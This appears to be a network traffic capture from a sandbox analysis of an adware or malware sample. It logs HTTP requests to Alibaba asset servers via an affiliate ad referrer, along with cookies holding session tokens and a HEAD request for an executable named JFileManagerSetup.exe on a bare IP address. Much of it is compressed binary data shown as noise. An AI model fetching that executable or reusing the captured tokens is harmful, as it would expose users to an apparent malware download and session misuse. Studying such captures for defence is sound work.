ngine..Date: Sat, 13 Jun 2015 00:33:30 GMT..Content-Type: image/gif..C
ontent-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CURa A
DMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: cna=WWgCDjWxzjYCA
cGK9OdXbmWQ; expires=Tue, 10-Jun-25 00:33:30 GMT; path=/; domain=.alib
aba.com..Expires: Thu, 01 Jan 1970 00:00:01 GMT..Cache-Control: no-cac
he..Pragma: no-cache..GIF89a.............!.......,...........L..;..

GET /ajaxMemberLevelTag.do?event=getMemberLevel&callback=jQuery183069035179626267_1434155618577&_=1434155620218 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: profile.alibaba.com

Connection: Keep-Alive

Cookie: ali_apache_id=193.138.244.231.1434155608293.716224.2; xman_us_f=x_l=0; xman_t=EmHlsOvc3ylN F4r JkXlE0VjW8eWN8PtDPEpnpDmEtSFMbCkJTb6v7oNe9Bv1LV; acs_usuc_t=acs_rt=065e622978cb4604801167fab6004ed7; acs_t=PrO2qDo0fkn5bovjQNA5fDwb/rJYAdMFQxa5xJTatrLwlZr5Awv2gsWiv0a0l1tg; xman_f=b4hTZFNrgKoy5zRK56QTW65Z7NqkNbkYp4 c4o81HsFIr sNRq5vqACP7gT4tAa7Lzb9gq1vqkWVz2UB WbU01M3tU5bZUXls59Ibyc4uu0nd99LbrkZpw==; uns_unc_f=trfc_i=saf^vutlr5u3^m1jqhq39^19nl5bq76; _ga=GA1.2.1214118344.1434155619; _gat=1; ali_beacon_id=193.138.244.231.143415561055.341443.0; cna=WWgCDjWxzjYCAcGK9OdXbmWQ

HTTP/1.1 200 OK

Server: Tengine

Date: Sat, 13 Jun 2015 00:33:31 GMT

Content-Type: application/javascript;charset=utf-8

Content-Length: 80

Connection: keep-alive

P3P: CP="CAO PSA OUR"

Cache-Control: no-cache

Content-Language: en-US
jQuery183069035179626267_1434155618577({"resultCode":1,"tagType":"memb
erLevel"})HTTP/1.1 200 OK..Server: Tengine..Date: Sat, 13 Jun 2015 00:
33:31 GMT..Content-Type: application/javascript;charset=utf-8..Content
-Length: 80..Connection: keep-alive..P3P: CP="CAO PSA OUR"..Cache-Cont
rol: no-cache..Content-Language: en-US..jQuery183069035179626267_14341
55618577({"resultCode":1,"tagType":"memberLevel"})..

HEAD /8c/JFileManagerSetup.exe HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36

Host: 146.185.26.220

Content-Length: 0

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Sat, 13 Jun 2015 00:33:24 GMT

Content-Type: application/octet-stream

Content-Length: 2229214

Last-Modified: Thu, 15 Jan 2015 17:44:21 GMT

Connection: keep-alive

ETag: "54b7fc75-2203de"

Accept-Ranges: bytes

GET /js/6v/atom/??atom-sc.js?t=6453147c_104cacc3f2 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: style.aliunicorn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/javascript

Last-Modified: Thu, 11 Jun 2015 01:46:48 GMT

Access-Control-Allow-Origin: *

Content-Encoding: gzip

Content-Length: 17825

Timing-Allow-Origin: *

Cache-Control: max-age=31367725

Expires: Fri, 10 Jun 2016 01:48:54 GMT

Date: Sat, 13 Jun 2015 00:33:29 GMT

Connection: keep-alive

Vary: Accept-Encoding

Timing-Allow-Origin: *
...........}i{.F.._.0Z.0[.(;..(..CI.8q.c2Y..BdS.M.4.........h...dg...$
..F.]]WWU_....".....W.ez-.......v..v!;."../..$Y:.E2..(.;.4..I......N..
6..AU.*.......".`....fn~....`.L.....$.a.....\g...a.x. .?M.\~..."..Y...
...a82p...T..i.M....h.?.4J..."..a...rx.y.-0)....8...^........"..$.%T;.
..~...X..%.........K...Z.$E.*.....Tf.B&i.. ..P.5t,q:.j.......<.....
.y.f.-....{{fD.....z....;..Q..d.>.........?[S.E....A.Jo...H...%7I//
.C.y.q.:y.:O...3......0L(....mg.l....[V.n..K.U.Y..d.......r.Y$.J*W.p".
.p..;<;.....y.9......k..)...'bx....q.#..b......d.eF.uO`.|;!?>..w
.g.f#;[email protected]..>....3S.]......e/..^..e.Lw*o..7...7...5..v.U..
3.[.\.$O...q5..7....0./.xx:..U.'.Z...b.w..=.QU.2....b...4. ..x.....-..
...w......Qp". ..$:..Q.....H4..A.&. ..`...G...H`..e.. ..%l..[..eO>.
..jc.. rBe...2.=.y.A.....F....].n>XB...3..zm.Usu................m.O
..nK.c...f.-..}~.}Ft =..8}. D.....O....O..x.%..qcOX.~_...0{.C...\..H'0
...M..@.#.ze..`....`.|...f.q....g......&i...^,=]!<...<?.g.q.-L&.
 .....4.z"...T...(O6.2wD...r.....0..'....Bw!Q|.".~...:.i.D..I....?....
..O..L.....bQ..7{|Q.C..n6.....$.:.L.G...5t..P. .6...-.V..Ble.K.. .4I..
fk.....F._........ez..h..aM8(q..?L.d\.W....j.\K.:A...]..p.....u.......
..Ha..-.{yz.....*`yt......Q...........W.^..x......O..z..wLrL...M..G_O.
.....d....$.....Z.W..a....i.e......3...a^.m...Mx.3..-.Vc,....G.I....*.
..._.r..W...X"....;..~...K.....a...V.hz.......QV....&..E..O(..7..'....
.....?..4..`.#..([email protected]..,XoU..U..........#.....`..d.....N..s."....
oXY.D.....O..1g.oE.8M..N...f........[5^x.AW'.Z.....1.....1.....l\.
<<< skipped >>>

GET /js/6v/lib/gallery/??jquery/jquery.js,es5-safe/es5-safe.js,json/json.js?t=db4c592b_0 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: style.aliunicorn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/javascript

Content-Length: 35636

Last-Modified: Tue, 23 Dec 2014 06:30:42 GMT

Content-Encoding: gzip

Timing-Allow-Origin: *

Timing-Allow-Origin: *

Timing-Allow-Origin: *

Timing-Allow-Origin: *

Timing-Allow-Origin: *

Cache-Control: max-age=16697321

Expires: Wed, 23 Dec 2015 06:42:10 GMT

Date: Sat, 13 Jun 2015 00:33:29 GMT

Connection: keep-alive

Vary: Accept-Encoding

Timing-Allow-Origin: *
...........}.{.F..."b...lQ......s...d&...I2..."A.1.0.(Y....._Uw.qP.{..
..q4.....n...z._../..o..6)"...6..iY...Q.J...x4...x...*......|...H...w|
...TRU.&..V....2.....<...).:..W...?...m.3....t...l...".m...JT.<.
I.-.#......_.$x..aV...d.=.....Q..o.dTnVi....."...i6..g.@U{[..x...!]...
.:>NFY.H..o..?....[.U|...Q.lV.<..S...s/.U.W.]R......E.....EU....
J.4.S..../.....7..G=*.....zU.M...,..e.*q{...v..&........b2,.W.*) ..&..
M\....|..............#.\.s.P...j.'....3;..e^..Q..%<1.:.Z.(nGi.z....
..5.W~2.fA0..*....t......H3.s..M.m/.|....>...N.m.....n7H0.$........
..95...."?J".{|w...?q.|.57 .../.c......0R...... ..xM0B... .....hN...Tb
[J...^ ....*4...:...U....".....1iRSZ.|.#[..*!.....`\E..`.A..i.^.E|...&
lt;:...s...M>..~.v^.2.\."...U>..i.?/.k....L.}.J.0...F.$..n..kz..
7~`W!......;?...g.g.o..o.5..L.f..x.I..KjnA.(.......f....n....A....M\..
.k.`.9.}.RU...";;P...T..mT..[..s.%.OVI...Tc.X%*...=..3..m..":Si.%\.'m\
\..b8.n..Q.XP3.B.i1..9c.:/......h6....G....C...;.7#.i[%qa.hy|.y..*....
:i.k=..e.4.Uk"lzE[%gl.M.......QNU._... .={...Q..l....T.../Wy.x$.2)r|L 
H]XS..a.U...)[email protected]..
..Mh..x. .G7.F?q....ME.K3..C]._.z.V.,.E..h0...w... \.{,d....z.|....5w.
.k..8....k."o..=..&......B[..&2..x.Z..h......{.p.Z GcM.Kg....?.\ g...l
{^o........q4..i.W).$...........G\zr...o.4..e.5........8....yI;Jy...r|
..L...{[email protected].. .uu.?.8..,"j.$...........|\..y .?-g.. .1......".Ly.ja
;[email protected]... .H.*..B.l..'$...B.._.S.......`O.......zH
kuh..o..............K....EBa|_..M.t.....|.W7.u..?S..|v.gD=.../..P.
<<< skipped >>>

GET /simg/sprites/app/[email protected]?t=21312772_0 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: style.aliunicorn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 12328

Last-Modified: Wed, 29 Apr 2015 02:46:24 GMT

ETag: 21312772_0

Timing-Allow-Origin: *

Cache-Control: max-age=27872996

Expires: Sat, 30 Apr 2016 15:03:25 GMT

Date: Sat, 13 Jun 2015 00:33:29 GMT

Connection: keep-alive

Timing-Allow-Origin: *
.PNG........IHDR...X.........E.......sBIT.....O.....PLTE..............
......6...<.q.u....3m..f.UUU333*#.$  .."..#.............u.....f.UUU
333$  ..#...................u....3m..f.UUUIII333$  ..........u.fff.f.U
UU333$  ....u.....f.UUUMMM333---$  .......u.....f.UUU333$  ..&..'.u..f
.UUU333.. .u.3m..f.UUU333..'.......u.3m..f.UUU333$  ..%.u..f.UUU333$  
....u....YYY.f.UUUMMM333$  ....u..q.......iiiYYY.f.UUUQQQ999333$  ....
.6.u.....n....3m.fffaaa.f.UUU333$  ................u....mmmiiifff]]]YY
Y.f.UUUQQQAAAT5.333$  ................................................
................................u..r..i..e.....`..\..X.....U..P..M....
.I..C.....;..8.....6..0........-<.q.......{$.}..y .~..w.....y..{..x
..u..v..q..t..s.....p.yyyuuu.d.qqqmmm.`.iiifff3m..X..X.aaa]]].O.YYY.f.
UUUQQQ.G.MMMIIIrB.EEEi=.AAAb<.===999677O1.333H/.---(((%$$.."K.;~...
.tRNS..................."""""""""""33333333333333DDDDDDDDDUUUUUUUUUfff
fffffffwwVVV..........................................................
......................................................................
...........................................................pHYs.......
....~.....tEXtSoftware.Adobe Fireworks CS6...... .IDATx.........co_i.-
.zSy.eZ....F..([email protected]]/.h.,[k...V....Z.RE.....v.m.J....X.V....
F.{.I&3...f&g....I.9If....?gv;... k.....WX...X....S...;....?...r.t1..x
...utl.2.t_A.a.P4...G?..^.pQ.]..._|..)\'@.m.TW......>`..7^.;RKO.%T.
..E...c..Y..cO.W......_|..._.C.,*UgG..6..x...8m....f.*..."..9.=......w
j^-Q.C...N.Z.h.;o..3..8...*.M%....O..j.w51..BR...u...[gL.I.O..I...
<<< skipped >>>

GET /js/6v/??biz/list/common/top.js,biz/list/common/bottom.js,biz/aisn/ghome/categories/categories.js,biz/common/header/header-v4-sc.js,biz/common/top-reached/top-reached.js,biz/common/url/url.js,biz/common/cookie-info/cookie-info.js,biz/common/affiliate-remarketing/affiliate-remarketing.js,biz/common/umid/umid.js,biz/arcadia/premium-ppv/premium-ppv.js,lib/gallery/store/store.js?t=3e3f0742a_1013aa46edc HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: style.aliunicorn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Last-Modified: Fri, 12 Jun 2015 11:55:46 GMT

ETag: 3f9aa75fe_103a5ff58aa

Timing-Allow-Origin: *

Server: Tengine

Content-Type: application/javascript

Content-Length: 21655

Access-Control-Allow-Origin: *

Content-Encoding: gzip

Cache-Control: max-age=18

Expires: Sat, 13 Jun 2015 00:33:48 GMT

Date: Sat, 13 Jun 2015 00:33:30 GMT

Connection: keep-alive

Vary: Accept-Encoding

Timing-Allow-Origin: *
...........}k{...._...LV ..$...W.d[...%[email protected]{...l...
.m...u....}........6.m....3.....(.v...Z..3g..9...3gf..[..VU1....bo..,6
\.U..q.]...C.*U%.ZMq..T..-3..-.R-.\f...84.....(...v.KNh...$!n:#..#U}o.
..w.>6-s..Z.MG....Pt.....wG6...?.k.-..9....*.(q%.[1..j(.....G.B5[..
T..e<.fb..mb.....).bM#.L% .Y%.-...*.....j..q......h1O..H.].z#.j[..r
m.^'v. [email protected]\../..2...Z..)Y.
........*.....L............e.s.~...f..........|%3.'.Lq..).s. .. f.....
he\%5M...c......6|..8Fr.\S .T>.Q...z.V.$.4.&......L.0Z.*....k......
....~..1...i.Z..d.X..ZWw....SJ.T.dM.TIF..E ..R.3UlX.&.{.M$"...m.n..'%.
..%%.'.../).. ...I.9.. .KN.i................vqf~.lea~e..21OB....(.d.?m
{f..H$..RbU.u.f..;..p.............R.*.Z.8.....H*@N ...t.f..>..g...V
)TsE..H.....:{.......Y.,.W....P........Zm|.2VT.jd,n..[E...7.RLb..."...
.3.1......'...h.. [email protected]=..a.o...h&[..P.2^..l.D.gY..c`...1...B&.W.
...y.[^..e.j..(tO..j.d.......Z........c...{'.pq..Sr.P)....L......*n..a
..D...L.2.........e.Pq=..ch..#..).....$?)YGA.D...w.... ))G.....R.(@.2T
R2.!K1>"e3]........... .. .[.....?..#/.7....q.6q.b..~.1.....n5ZS...
...Bn.P.z....^K..!r.f0...wvtWm$..U...-....b.._'.6Q.&...T.V..'..fW...5;
...V....-7...*......|.T*....6.......:.h.........|...<.\.V.6*....F..
.^..D?l....]Y....h..N...\.....3....<..q....h.c.B..d...H..c..0...2 .
&&.M.#x.}..3W.&s.i..R.?.h.HA...D.a.Z..\.. %.R.........Y.$.y..Y.xqni...
.!'.. H{...(..-....@^`.l....J...`...!|.>....p..z..]'... ....r......
.A.T....e......<./9(.4M..c.=.c....`..w....d,.#b$...H.....e3....
<<< skipped >>>

GET /js/6v/??lib/arale/class/class.js,lib/arale/events/events.js,lib/arale/base/base.js,lib/arale/widget/widget.js,lib/arale/position/position.js,lib/arale/iframe-shim/iframe-shim.js,lib/arale/overlay/overlay.js,lib/arale/overlay/mask.js,lib/arale/popup/popup.js,lib/arale/templatable/templatable.js,lib/arale/dialog/dialog.js,lib/arale/cookie/cookie.js,lib/arale/placeholder/placeholder.js,lib/arale/autocomplete/autocomplete.js,lib/icbu/scroll-trigger/scroll-trigger.js,lib/icbu/dialog/dialog.js,lib/icbu/balloon/balloon.js,lib/icbu/messenger/messenger.js,lib/icbu/ghost-panel/ghost-panel.js,lib/gallery/underscore/underscore.js,lib/gallery/handlebars/handlebars.js,lib/gallery/qrcode/qrcode.js,biz/list/common/dot/dot.js,biz/list/common/title/title.js,biz/list/common/history/history.js,biz/list/common/history/log.js,biz/list/common/load/load.js,biz/list/common/gotop/gotop.js,biz/list/common/survey/survey.js,biz/list/common/qrcode/qrcode.js,biz/list/common/webatm/webatm.js,biz/common/mcms/mcms.js,biz/common/switch-language/switch-language.js,biz/common/nav/nav.js,biz/common/header/header-module-base.js,biz/common/beacon/beacon-v4-sc.js,biz/common/store-proxy/store-proxy2.js,biz/common/searchbar/searchbar-v4-sc.js?t=11df03f0f4_1971b41c7df HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_i
HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/javascript

Last-Modified: Fri, 12 Jun 2015 02:29:55 GMT

Access-Control-Allow-Origin: *

Content-Encoding: gzip

Timing-Allow-Origin: *

Content-Length: 104692

Timing-Allow-Origin: *

Timing-Allow-Origin: *

Cache-Control: max-age=31456518

Expires: Sat, 11 Jun 2016 02:28:48 GMT

Date: Sat, 13 Jun 2015 00:33:30 GMT

Connection: keep-alive

Vary: Accept-Encoding

Timing-Allow-Origin: *
............Iw... ....p...%D.....q.\..W%Wl...b.!..P..^...Kr..lr.U:.l:'
'..tg.s...?.{.|.......kx].v.."..<...}...g.U4{y{.&...y....<8>.
..Y..f.Ut.u.....e..L..3..2.g.0..E.....-..T2....y.I<M..u~(...?.O.Q..
...,*...I.........p......1.....,.<.c....m uco.L....I.V..e...l.J....
|...\.i ..kU/.z.a9J?.O..-.n ..0..#?.|.(.2...MT...~.g.8/......P.3.f3...
....j.wsl).u.8...M..?.q:.S...;..|...i..~......O....Oa.`.8...^z..eu..Gk
.........w...YZ&.".....j....0..%....%.l..e.....<..8T.a....6{>...
RD...gRx>-..Y..b....(...m.&e.G..q.Esck.z....[.p..t1.A7..\{~.......u
-V....'....%Y........2....I....(=?.=-`.~.B...$c.z'.;.XuB......8P.R....
.(.....0sc......0..ZO....[F/.....N.....)O.=.)/k.....o.R..M2....,n.i.z.
........}..V...OX.5.....~..e...j_^....T..x...v..8.0..*.~$.V.:e........
..<..$..].......xi.aFm....Y.....X.KQ.k.E.zHI:.?....{.`[email protected]]=q...
............y?m.....t..)%.K.....^...{@`...........>....{.]..2..=.Q.
.?...r.l..l.....}\"~L`....~...;....7.sT.OF..CR.o..r!o9.....p...i.O...a
.D.......2..9..... ....T..OM?k.{._]..X......Z..)Z.....`..JU{-....3..l.
.;.......}....Yj.)@|..~.g....N 8.'.../.x!.1...#.....M=.....fa2,`.....#
..:.E...:....}{.c....J.2..a.:..... 6k..}.85.........e)x.ia..^..^(,...P
m..L.Y\.-..!.>[email protected],]f,.r...lD./4mB.txx...=P).}.G0...:..........
<B..0........Ix.W...g....................V.........t.%@.n[;.....a.`
..<....Q...|:\..F..p1..........2{.%a.)hn..'c:..3.v..n.Oiw.8..."....
[email protected]}..3.W&.M.<./...M>...%..~........0.. \..l..EJ..Y..xL;$....
..y.....]...;....../m..,\.|7.../../7.;..'..Itr.p.........9........
<<< skipped >>>

GET /simg/single/icon/loading_16x16.gif?t=30d69a7b_0 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: style.aliunicorn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/gif

Content-Length: 1553

Last-Modified: Tue, 04 Nov 2014 09:34:41 GMT

ETag: 30d69a7b_0

Timing-Allow-Origin: *

Timing-Allow-Origin: *

Timing-Allow-Origin: *

Timing-Allow-Origin: *

Timing-Allow-Origin: *

Cache-Control: max-age=12500623

Expires: Wed, 04 Nov 2015 16:57:13 GMT

Date: Sat, 13 Jun 2015 00:33:30 GMT

Connection: keep-alive

Timing-Allow-Origin: *
GIF89a............................wwwfffUUUDDD333"""..................
.......................................!..NETSCAPE2.0.....!.......,...
.......w $B..$..B.#..#..(<L.....3.....D....H$^[email protected]..."U...P#..
a..\;....1.....o.::0.v.@..$|,3......._#.....d..5..3.".s5..e!.!.......,
..........c $.....9*"#......8.3.b.4..k..B.....J....`4...<..q8...B..
[email protected]*.i.".(.)..VY..#!.!.......,..........` $.Pa.
......K*:...u.....#.@tX....!&0<..U#'.....h..m.'.@Y..^h.a-k..(......
...N......|$.C..f)@.f|!.!.......,..........b $.bA...@."&..-..".*6C....
...*... `j..4..2`. 5...X......p......h/H..`......h....R"..]SW.B].~....
(!.!.......,..........I $..q.........B.,.n[.h......*.G...U.....H.)8..G
.tJ.^[email protected]*Dm.....T.....!.......,..........q $..0.(...q.....k......
.7A.G..d....(1....0.....d...X...`U..eR!.P...T..h .(....v!_"PQ.V.e..Y..
i)..Z.`x#..'3y.|)..!.!.......,..........` $.. ..8.E...I....F0C......T@
..F.`.B4........A....b.Z.bq........ ............)/a.zSS...&.V...p$!.!.
......,..........^ $B.8."1.......0.....B...R.0..v..".B....lp....Xb....
F...a....AA&*X....(@.3....,...(.}..Q >..R!.!.......,..........c $.P
...xB. . *.-[.d..... .i@...)`..L..?'I`.JG....b.P....h......X....B.)0..
...X..Q#..}...N.o."tI ZI!.!.......,..........\ $.P`.....8.....*.....1.
....h..0.r.x8..B......Qa......V. ....!.M.D.l!..4.%..B...Be..PDY0..0!.!
.......,..........] $.$.........I>.Q........].. .d".2..8..G.qH9...A
.2.......B..."., D..H('...4...C.\0..`.UL".r(!.!.......,..........d $.d
I..`....k....B...B ...m.....A.72,....(P..X..........8@R%.a..K..*..
<<< skipped >>>

GET /js/6v/biz/common/security-umscript/??um.js?t=9d044bd6_0 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: style.aliunicorn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/javascript

Content-Length: 4274

Last-Modified: Tue, 28 Apr 2015 10:31:13 GMT

Content-Encoding: gzip

Cache-Control: max-age=27742566

Expires: Fri, 29 Apr 2016 02:49:37 GMT

Date: Sat, 13 Jun 2015 00:33:31 GMT

Connection: keep-alive

Vary: Accept-Encoding

Timing-Allow-Origin: *
...........Z.s.F.. [email protected]."o.%?*.f.G3..............}=...I...T].
.1====.=...^.......E.[..y..E.'n....!w.PL....qd....r.K'I.<...1...F.m
.....H..Cr.....'.&.sk..7...4..5N..sf.\z....I......'.;%>......E...3.
..^..F.......ag`F...i...r. "..,....."..2.....z.z...E........%../.D.?.\
.._D....."^.s.H!|.A."..~*...|*...ydy*....3......2'...t|...U.HE..^./.Y.
d...r.N.;f?...... .G..>...[... {.<'..".2.C....s/.S.g}{.....9..y.
."...G=....^....u.f....!'.o....QD?y.gX {l.-......~.3...........ZK...K.
_...0....A/.Y.....K.4..dn......$.|n.>;..m`.A.zz.X....0..........E..
p..e}vc_.c...,.En....,...bfJ'.r./^...5.S.......j.[..E.c.NRd......3..Q.
x.R...:%Y.t|g.....br......Hew0,..k..`S>.7.m...4?......:0{.x.....S~.
........N.k9.....M.....q.$.:Pe..D{S...=.{..q...rk#i.Va>....n....V|z
/.-.R...0.0........s...t....Z......m....E..`.(.|...zq.So.Y............
.......s!.v{.8...E.sw. Yc0.'.c.......:......m.5......3.W..&.....?.....
!.7.d3..K;..l..........'c.....v.=....[.k.....d......_yK.\...........".
t..._.T..M.E.5...E..l..x0.F6.-8...h......dp.9U.Iy.[.]{K.L.m.h.q.Q("...
..`x........O.....\..w..&5...@m..,.:....Y5..U...^:...T$...H.5H..|.p9n;
....Vy9.9..;ST[b:.[...=R..C.......d.KN'.7....u.{R......T*.....r.e...t.
..t"%...H.....?...c.2o....^...C....!.....zc..Q.a0{h....j......X...k.W;
o........2.\...4.J..#ckiKnQV..... ..(z...d...J..^....I......G......wc{
~..l.....v....f.... ..t2uT.W....;...v.a"$...r0.d..A(.(.{.."...........
W..N..p.........2..#......c.. ...9.. ..l<...P.....w.1r<...r;..=.
.......yzY.:>...d.ktr.E.5y.!...N..fm.;`d.1.M.<..}.l.4?4.~.!.
<<< skipped >>>

GET /js/6v/biz/common/webatm-new/webatm.js?t=fbcc9a5f_88ad028d78 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: style.aliunicorn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/javascript

Last-Modified: Fri, 05 Jun 2015 10:27:11 GMT

Access-Control-Allow-Origin: *

Content-Encoding: gzip

Content-Length: 49656

Timing-Allow-Origin: *

Cache-Control: max-age=30880468

Expires: Sat, 04 Jun 2016 10:28:02 GMT

Date: Sat, 13 Jun 2015 00:33:34 GMT

Connection: keep-alive

Vary: Accept-Encoding

Timing-Allow-Origin: *
............{.#.q .U..,.j....].".&....."[email protected]....,.V.W
.|......Z..,y$...=.=.._."[email protected]..|FFFFFDFF..a............h...q.
......K.n.;v..b ...n.rc/...0..V.u.^<...Y3........dsV.M;.OM..hn.l..{
...{.?wN...W...\.M.....Y~.;).......7.vj[.vg...$....`..`<...w{...x..
9Z..6....F....:uRIv.(...4.di.(/.J'tdZ..`.y.vP...:?.<D.....8V7...e#O
.....o...........#.._h.F....k{k.-{xB.F........zQQ.Q..YF^[email protected].
....).Xf/.DsI.....K.....g.............u-F..f...7N.L...T...`J.!mQ..f4 r
v`.........c.._.TD.v..!.....k..zj#0....]..b.s.j...7.3....g.[..J.\..W*.
I.p].uu<.....$x....!..(k.......gt#.c..ON(f.x.8N[O...O .....e"...n..
I.......EY.....".0........-.{.Lv..[w.7......{.]F.........,.3.;.vau..n.
rEd...................y...&9e..4"z..L/.H....P.*#"..3T...Y7.D..ka.$..WQ
.Y....`...o.E{~.vl{.D...m.6..?.9clB....ER...`K>..NR......<=..>
